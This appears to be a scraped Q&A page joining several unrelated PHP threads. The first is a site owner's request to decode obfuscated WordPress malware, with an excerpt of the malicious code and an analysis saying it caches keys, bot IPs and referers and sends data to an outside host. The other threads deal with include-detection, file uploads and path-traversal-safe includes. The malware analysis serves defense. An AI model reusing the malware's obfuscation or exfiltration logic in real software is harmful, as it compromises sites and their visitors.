My WordPress site infected with some malware files , found lot of files like below,
I tried to decode that using some online decoders, but no luck. I want to know what hacker do using this file.
I guess he control some more files on my sites but scanner only detect this code, by decode this hope to find other file paths
Paths of file found are given below
wp-includes/rest-api/requests.ini
wp-includes/Requests/IPconfig.ini
below have little part of file
Here have full file in pastebin https://pastebin.com/EfUNTaRr
if(empty($_GET['ineedthispage'])){
ini_set('display_errors',"Off");
ignore_user_abort(1);
$I7rKRVNNat3intmYmv="10.1";
$IssgsfYr3WZGty="";
$IL8lxLZy5SGibS7od="";
$IGvpZBegv061k="";
if(!empty($_COOKIE['PHPSSIDDD2'])){
$IGvpZBegv061k=$_COOKIE['PHPSSIDDD2'];
}
$IvVtGi5vH1edafW="RE3PUldBWUlTV4";
if(!IIlFCqjaR5JVZ33VAo('curl_init')){
$IssgsfYr3WZGty.="1\t";
$IL8lxLZy5SGibS7od.="1\t";
}
if(!IIlFCqjaR5JVZ33VAo('fopen')){
can someone decode that file on paste bin. Thank You
I used phpcs-fixer for some pretty view of this script. You can see it here. I don't spend much time for decoding, so I can be wrong in my reasoning =)
Function IIlFCqjaR5JVZ33VAo is like improved function_exists which check if function exists and is callable and not disabled (get from ini)
function __function_exists($functionName)
{
$functionName=strtolower(trim($functionName));
if ($functionName=='') {
return false;
}
$disabledFunctions=explode(",", #ini_get("disable_functions"));
if (empty($disabledFunctions)) {
$disabledFunctions=array();
} else {
$disabledFunctions=array_map('trim', array_map('strtolower', $disabledFunctions));
}
return (function_exists($functionName) && is_callable($functionName) && !in_array($functionName, $disabledFunctions));
}
Script collect many things in files. File names encoded by this rules:
// this is like file hash
$ItZg0lwPNAV8rSZCcknwRw6=md5(__FILE__);
// ... some other stuff and define directory like {path_to_file}/cache{file_hash}
$Id3jh7jnThGJnxV0=dirname(__FILE__).DIRECTORY_SEPARATOR."cache".$ItZg0lwPNAV8rSZCcknwRw6;
// and then file stored in defined dir
$Id3jh7jnThGJnxV1=$Id3jh7jnThGJnxV0.DIRECTORY_SEPARATOR."ke".substr($ItZg0lwPNAV8rSZCcknwRw6, 0, 8)."ys";
// and so on for [keys, useragents, botips, referers, ...] with interesting logic which I don'tfully understand
And then some data sends to http://main.infowp.info/getdata.php. But I'm not sure. Why this domain? You can see it here
And it determines which CMS used: WP, Drupal or Joomla by check if specific function and class exists: wp_insert_post, node_save, JFactory.
Related
I am new to PHP and very likely I am using the incorrect approach because I am not used to think like a PHP programmer.
I have some files that include other files as dependencies, these files need to have global code that will be executed if $_POST contains certain values, something like this
if (isset($_POST["SomeValue"]))
{
/* code goes here */
}
All the files will contain this code section, each one it's own code of course.
The problem is that since the files can be included in another one of these files, then the code section I describe is executed in every included file, even when I post trhough AJAX and explicitly use the URL of the script I want to POST to.
I tried using the $_SERVER array to try and guess which script was used for the post request, and even though it worked because it was the right script, it was the same script for every included file.
Question is:
Is there a way to know if the file was included into another file so I can test for that and skip the code that only execute if $_POST contains the required values?
Note: The files are generated using a python script which itself uses a c library that scans a database for it's tables and constraints, the c library is mine as well as the python script, they work very well and if there is a fix for a single file, obviously it only needs to be performed to the python script.
I tell the reader (potential answerer) about this because I think it makes it clear that I don't need a solution that works over the already existant files, because they can be re-generated.
From the sounds of it you could make some improvements on your code structure to completely avoid this problem. However, with the information given a simple flag variable should do the trick:
if (!isset($postCodeExecuted) && isset($_POST["SomeValue"]))
{
/* code goes here */
$postCodeExecuted = true;
}
This variable will be set in the global namespace and therefore it will be available from everywhere.
I solved the problem by doing this
$caller = str_replace($_SERVER["DOCUMENT_ROOT"], "", __FILE__);
if ($_SERVER["REQUEST_METHOD"] === "POST" and $caller === $_SERVER["PHP_SELF"])
performThisAction();
I wrote a simple script in plain PHP that uses $_FILES['uploadedfile']['tmp_name'] to fetch a freshly uploaded file and process its contents directly without permanently storing it. The idea is to allow the user to upload a file containing several rows of data that will be automatically parsed and added to a database by the PHP script. There is no need to store the file itself or a reference to it in the database as only the file contents are important. I know of Import CSV to MySQL, but I am trying to keep things clean and easy for the user (and for the time being I am developing with phpDesktop + sqlite so that my application will be portable).
I am now trying to recreate this process within Agile Toolkit but I cannot seem to figure out how. I know that the filestore model must access ['tmp_name'] before it moves/renames the file but I cannot figure out how to poach just this functionality. I tried looking in /lib/Form/Field/Upload.php to see if any of the methods there might be of use, but I am quite new to PHP so these docs are baffling to me. getFilePath() looked promising, but it seems that $_FILES remains empty when I do something like:
$form = $page->add('Form');
$upl = $form->addField('Upload', 'file');
$form->addSubmit();
if ($form->isSubmitted()){
$form->js()->univ()->alert($upl->isUploaded())->execute(); //sends js alert('false')
}
I realize that AJAX cannot be used to post files and I have a feeling this is part of the problem but I am not really sure where to go from here. Any help would sincerely be appreciated.
Thanks.
Agile Toolkit uploads file as soon as it is selected - moves it immediately into filestore and creates database record, so not really what you need.
Anything you write in a plain PHP can also work with Agile Toolkit. You can disable JavaScript in the form by doing this:
$this->add('Form',array('js_widget'=>false));
Such a form would send you a normal POST request.
Ok, I managed to achieve what I wanted by creating a custom extension of Form_Field_Upload and redefining the loadPOST() method within it.
function loadPOST(){
Form_Field::loadPOST();
if($_GET[$this->name.'_upload_action']){
// This is JavaScript upload. We do not want to trigger form submission event
$_POST=array();
}
if($_GET[$this->name.'_upload_action'] || $this->isUploaded()){
if($this->model){
try{
$model=$this->model;
/*Function is identical to parent above this line*/
//process file here and do $model->set('custom_field',$value);
//I am using $this->getFilePath() to analyze the uploaded file
/*Function is identical to parent below this line*/
$model->save();
}catch(Exception $e){
$this->api->logger->logCaughtException($e);
$this->uploadFailed($e->getMessage()); //more user friendly
}
$this->uploadComplete($model->get());
}
}
if($_POST[$this->name.'_token']){
$a=explode(',',$_POST[$this->name.'_token']);$b=array();
foreach($a as $val)if($val)$b[]=$val;
$this->set(join(',',filter_var_array($b,FILTER_VALIDATE_INT)));
}
else $this->set($this->default_value);
}
I sure this is not the most elegant solution but it worked for my purpose anyway.
This is how I call the editor:
new nicEditor({
buttonList : ['bold','italic','underline','upload'],
iconsPath:'img/nicedit.png',
uploadURI : 'http://server.com/integracion/files/nicUpload.php'
}).panelInstance(textareaId);
And the .php file exists ( and I the one in the Docs, and I updated the target paths )
/* I want them here http://server.com/integracion/files/uploads/ so... */
define('NICUPLOAD_PATH', './uploads'); // Set the path (relative or absolute) to
// the directory to save image files
define('NICUPLOAD_URI', '/uploads'); // Set the URL (relative or absolute) to
// the directory defined above
But I on response when upload completes (and of corse an alert from nicedit..)
<script>
try {
top.nicUploadButton.statusCb({"error":"Invalid Upload ID"});
} catch(e) { alert(e.message); }
</script>
what am I missing?
-EDIT
I think the problem might be in the php file:
$id = $_POST['APC_UPLOAD_PROGRESS']; /* APC is installed and enabled */
if(empty($id)) {
$id = $_GET['id'];
}
FINAL EDIT:
I have managed to make this work!
Here is an working example:
http://simplestudio.rs/yard/nicedit/
Uploaded images are going to be stored here:
http://simplestudio.rs/yard/nicedit/images/
And here is the whole code, just unpack it and put on your server, mainly I needed to adjust nicEdit.js because it had some issues.
http://simplestudio.rs/yard/nicedit/nicedit.rar
Just make your code with that js file and by looking at my example, it will work :)
Also you need to have php APC installed so that this script can work:
http://php.net/manual/en/apc.installation.php
If you by any mean have some problems I am here to solve it.
I will not delete this example on my server so that everybody who have this issue can freely download it...
The code responsible for image upload is the method uploadFile, it is looking for uploadURI option parameter.
You will need to modify onUploaded event handler to parse your custom response instead of the imgur's one (sample). By default it expects at least {"upload": { "links": {"original": "http://..."}, "image": {"width": "123" } }}.
I'm sorry but I can't help with the FormData() handling server side with PHP.
For more information you can try out the demo page on the nicEdit web site using Firebug or WebInspector to snoop the network requests, and, of course, the source code.
This question already has answers here:
Check if a file was included or loaded
(12 answers)
Closed 2 years ago.
My webapp has a buch of modules. Each module has a 'main' php script which loads submodules based on a query sent to the main module:
//file: clientes.php
//check for valid user...
//import CSS and JS...
switch( $_GET["action"] )
{
case "lista" : require_once("clientes.lista.php"); break;
case "listaDeudores" : require_once("clientes.listaDeudores.php"); break;
case "nuevo" : require_once("clientes.nuevo.php"); break;
case "detalles" : require_once("clientes.detalles.php"); break;
case "editar" : require_once("clientes.editar.php"); break;
default : echo "<h1>Error</h1><p>El sitio ha encontrado un error.</p>";
}
This main module deals with security and imports many resources all submodules need. The big problem shows up when a user asks for any of the submodules, bypassing all the security measures on the main module! My idea was to add a line on every submodule to test if it was being called directly and deny access or if its been called via another script, and continue. The least thing I would like to do is redo the security checking on every single file, since it does a bunch of query's to the database.
Does a php script know if its been called via a require_once() or a direct call ? I've been trying to implement some sort of $_SERVER['REQUEST_URI'] and $_SERVER['PHP_SELF'] pitfall but I was wondering if there was some sort of an elegant way of doing this.
I was looking for a way to determine if a file have been included or called directly, all from within the file. At some point in my quest I passed through this thread. Checking various other threads on this and other sites and pages from the PHP manual I got enlightened and came up with this piece of code:
if ( basename(__FILE__) == basename($_SERVER["SCRIPT_FILENAME"]) ) {
echo "called directly";
}
else {
echo "included/required"
}
In essence it compares if the name of the current file (the one that could be included) is the same as the file that is beeing executed.
EXPLANATION:
__FILE__ is a PHP magic constant that stores the full path and filename of the file, the beauty of it is that if the file has been included or required it still returns the full path and filename of such file (the included file).
(Magic Constants Manual: http://php.net/manual/en/language.constants.predefined.php)
$_SERVER["SCRIPT_FILENAME"] returns the absolute pathname of the currently executing script. As when a file is included/required it's not executed (just included) it returns the path name of the (let's say) "parent" file (the one that includs the other file and the one that gets executed).
basename(string $path) is a function that returns the trailing name component of path, that in this case is the file name. You could also just compare the full path and filename, that would be indeed better, it isn't really neceseary to use this function but it feels cleaner this way, jajaj.
(basename(): http://php.net/manual/en/function.basename.php)
I know it's a "bit" late to be answering the main question but I guessed that it could be useful to anyone who's on the same situation that I was and that also passes by.
One elegant way is putting all your files which should only be accessed via include outside the web directory.
Say your web directory is /foo/www/, make an include directory /foo/includes and set this in your include_path:
$root = '/foo';
$webroot = $root.'/www'; // in case you need it on day
$lib = $root.'/includes';
// this add your library at the end of the current include_path
set_include_path(get_include_path() . PATH_SEPARATOR . $lib);
Then nobody will be able to access your libraries directly.
There's a lot of other things you could do (test a global variable is set, use only classes in libraries, etc) but this one is the most secure one. Every file which is not in your DocumentRoot cannot be accessed via an url,. But that does not mean PHP cannot get access to this file (check as well your open_basedir configuration if you have it not empty, to allow your include dir in it).
The only file you really need in your web directory is what we call the bootstrap (index.php), with a nice rewrite rule or a nice url managment you can limit all your requests on the application to this file, this will be a good starting point for security.
One popular method to make sure modules are not called directly is defining a constant in the main script, and checking for that constant in the module.
// index.php
define("LEGIT_REQUEST", true);
// in each module
if (!defined("LEGIT_REQUEST"))
die ("This module cannot be called directly.");
For the sake of completeness, the other possibility is to move such files to a directory that's not publicly available. However, some control panels used by hosting providers make this impossible. In such case, if you are using Apache you can place an .htaccess file inside the directory:
#
# Private directory
#
Order allow,deny
Deny from all
A common technique is to add this to the main module (before the includes)
define('TEST', true);
and to add something like that at the first line of every submodule
if (!defined('TEST')) {
die('Do not cheat.');
}
An alternative to defining a constant and checking it is to simply put the files that index.php includes outside of the document root area. That way the user can't directly access them via your web server at all. This is also obviously the most secure way, in case your web server has a configuration error in future that eg. displays PHP files as plain text.
You can define('SOMETHING', null) in clientes.php and then check if (!defined('SOMETHING')) die; in the modules.
global.php
if(!defined("in_myscript"))
{
die("Direct access forbidden.");
}
module.php
define("in_myscript", 1);
include("global.php");
A generic way that works without having to define a constant or use htaccess or use a specific directory structure or depend on the $_SERVER array that could theoretically be modified is to start each include-only (no direct access) file with this code:
<?php $inc = get_included_files(); if(basename(__FILE__) == basename($inc[0])) exit();
As practice of habit I have a console class built to send messages, errors, etc. to console with FirePHP. Inside the Console class write() method I have a check to see if a $_REQUEST[debug] == 1, that way I'm not exposing errors to users if something pops up on production and they would have to know what the request variable is to access the debug information.
At the top of every file I add:
Console::debug('fileName.php is loaded.');
here is a snippit from it to give you the right idea:
class Console{
public static function write($msg,$msg_type='info',$msg_label=''){
if(isset($_REQUEST['debug']) && $_REQUEST['debug'] == 'PANCAKE!'){
ob_start();
switch($msg_type){
case 'info':
FB::info($msg, $msg_label);
break;
case 'debug':
FB::info($msg, 'DEBUG')
break;
...
}
}
}
public static function debug($msg){
Console::write($msg, '');
}
}
Short and simple (for CLI):
if (__FILE__ == realpath($argv[0]))
main();
Is there any way to safely include pages without putting them all in an array?
if (preg_match('/^[a-z0-9]+/', $_GET['page'])) {
$page = $_GET['page'].".php";
$tpl = $_GET['page'].".html";
if (file_exists($page)) include($page);
if (file_exists($tpl)) include($tpl);
}
What should I add to make this pretty safe?
I'm doing it this way bacause I don't like having to include stuff that has to be included on all pages. The "include header > content > include footer"-way. I don't wanna use any template engines/frameworks neither.
Thanks.
The weakness in your current implementation is that …
the regular expression just tests the beginning of the string, so “images/../../secret” would pass, and
without further validation, “index” would also be a valid value and would cause a recursion.
To make your implementation safe, it’s a good practice to put everything, that’s intended to be included, in its own directory (e.g. “includes” and “templates”). Based on this, you just have to ensure that there is no way out of this directory.
if (preg_match('/^[a-z0-9]+$/', $_GET['page'])) {
$page = realpath('includes/'.$_GET['page'].'.php');
$tpl = realpath('templates/'.$_GET['page'].'.html');
if ($page && $tpl) {
include $page;
include $tpl;
} else {
// log error!
}
} else {
// log error!
}
Note: realpath returns the absolute path to the given relative path if file exists and false otherwise. So file_exists is not necessary.
Despite what you stated about not wanting to store a list of available pages in an array it is likely going to be the best, non-db, solution.
$availFiles = array('index.php', 'forum.php');
if(in_array($_GET['page'].".php", $availFiles))
{
//Good
}
else
{
//Not Good
}
You could easily build the array dynamicly with either DB queries or by reading a file, or even reading the contents of a directory and filtering out the things you don't want available.
You should never use user supplied information for includes. You should always have some sort of request handler that does this for you. While a regular expression may filter somethings it will not filter everything.
If you do not want your site to get hacked you do not allow your users to control the flow of the application by designating an include.
I agree with Unkwntech. This is such an insecure way to include files into your website, I wish PHP programmers would do away with it altogether. Even so, an array with all possible matches is certainly safer. However, You'll find that the MVC pattern works better and it is more secure. I'd download code igniter and take a tutorial or two, you'll love it for the same reason you wanna use dynamic includes.